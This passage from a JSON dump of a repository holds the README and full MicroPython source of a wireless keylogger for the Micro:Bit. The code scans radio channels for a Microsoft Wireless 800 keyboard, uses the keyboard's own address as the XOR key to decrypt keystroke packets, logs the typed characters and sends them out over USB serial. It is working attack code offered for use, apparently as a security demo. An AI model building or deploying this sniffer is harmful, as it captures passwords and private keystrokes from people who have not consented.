found (%s)\\033[0m' % args.device)\n    except Exception, error:\n        print error\n"
  },
  {
    "path": "tools/wireless-keylogger/README.md",
    "content": "Wireless Keylogger for MS Wireless 800 Keyboard\n===============================================\n\nSimply program your Micro:Bit with this python program, and you're good to go.\n\nYour Micro:Bit will show a little animation while searching for a compatible keyboard, and a smiley when one found.\nThen it will log everything in its memory.\n\nTo extract the logged keystrokes, connect your Micro:Bit to your computer with a USB cable, launch *minicom* and press any button on the Micro:Bit. The data will be sent and then flushed. Reset your Micro:Bit and you can give it another run ;)\n"
  },
  {
    "path": "tools/wireless-keylogger/msft-keylogger.py",
    "content": "from microbit import *\nimport radio\nimport os\n\n# Not complete, but enough for the demo =)\nKEYMAP = [\n    '',\n    '',\n    '',\n    '',\n    'Q',\n    'B',\n    'C',\n    'D',\n    'E',\n    'F',\n    'G',\n    'H',\n    'I',\n    'J',\n    'K',\n    'L',\n    ',',\n    'N',\n    'O',\n    'P',\n    'A',\n    'R',\n    'S',\n    'T',\n    'U',\n    'V',\n    'Z',\n    'X',\n    'Y',\n    'W',\n    '1',\n    '2',\n    '3',\n    '4',\n    '5',\n    '6',\n    '7',\n    '8',\n    '9',\n    '0',\n    '\\r\\n',\n    '',\n    '',\n    ' ',\n    ' ',\n    '',\n    '',\n    '',\n    '',\n    '',\n    '',\n    'M',\n    '',\n    '',\n    '',\n\n]\n\nkeybd = None\nchannel = 1\n\ndef progress(v):\n    display.clear()\n    if (v<5):\n        x = v\n        y = 0\n    elif (v>=5 and v<9):\n        x = 4\n        y = v-4\n    elif (v>=9 and v<13):\n        y = 4\n        x = 13 - v - 1\n    else:\n        x = 0\n        y = 16 - v\n    display.set_pixel(x,y,6)\n\n# init radio sniffer\ndisplay.on()\nradio.on()\nradio.config(data_rate=radio.RATE_2MBIT, channel=channel)\n\n\ndef decrypt(d,k):\n    o=[]\n    for i in range(len(d)):\n        o.append(d[i]^k[i%5])\n    return o\n\n# Find a MS wireless keyboard\nwhile True:\n    radio.sniff_on()\n    p = 0\n    timeout = 100\n    last = running_time()\n    while keybd is None:\n        # look for a MS wireless keyboard\n        now = running_time()\n        if (now - last) > timeout:\n            last = now\n            channel += 1\n            if channel > 81:\n                channel = 3\n\n            # display progress\n            p += 1\n            if p>15:\n                p = 0\n            progress(p)\n\n            # select channel\n            radio.config(channel=channel)\n\n        # Process sniffed ESB packets\n        pkt = radio.sniff()\n        if pkt is not None:\n            if len(pkt)>7 and pkt[5] == 0x0A and pkt[6] == 0x78:\n                # keyboard found, keep channel and memorize address\n                keybd = pkt[:5]\n                display.show(Image.HAPPY)\n                sleep(1000)\n\n    # reconfigure keyboard\n    display.clear()\n    addr = keybd[0]<<24 | keybd[1]<<16 | keybd[2]<<8 | keybd[3]\n    gr = keybd[4]\n    key = [keybd[4], keybd[3], keybd[2], keybd[1], keybd[0]]\n    radio.config(data_rate=radio.RATE_2MBIT, channel=channel, address=addr, group=gr, queue=20)\n    radio.esb()\n    lk = None\n    lp = None\n    last_seq = 0\n    with open('keys.txt','w') as log:\n        while True:\n            # loop if button A or B is pressed\n            if button_a.is_pressed():\n                log.close()\n                display.show(Image.YES)\n                while True:\n                    if uart.any():\n                        f = open('keys.txt','r')\n                        uart.write(f.read())\n                        f.close()\n                        os.remove('keys.txt')\n                        while True:\n                            pass\n\n            # Process sniffed ESB packets\n            pkt = radio.receive_bytes()\n            if pkt is not None:\n                if len(pkt)>9 and pkt[0] == 0x0A and pkt[1] == 0x78 and (last_seq != ((pkt[5] << 8) + pkt[4])):\n                    last_seq = (pkt[5] << 8) + pkt[4]\n                    if pkt != lp:\n                        # process key:\n                        hids = (pkt[9] ^ key[0], pkt[10] ^ key[1], pkt[11] ^ key[2])\n                        if hids[2] != 0:\n                            hid = hids[2]\n                        elif hids[1] != 0:\n                            hid = hids[1]\n                        else:\n                            hid = hids[0]\n                        if hid < len(KEYMAP):\n                            log.write(KEYMAP[hid])\n                        lp = pkt\n"
  }
]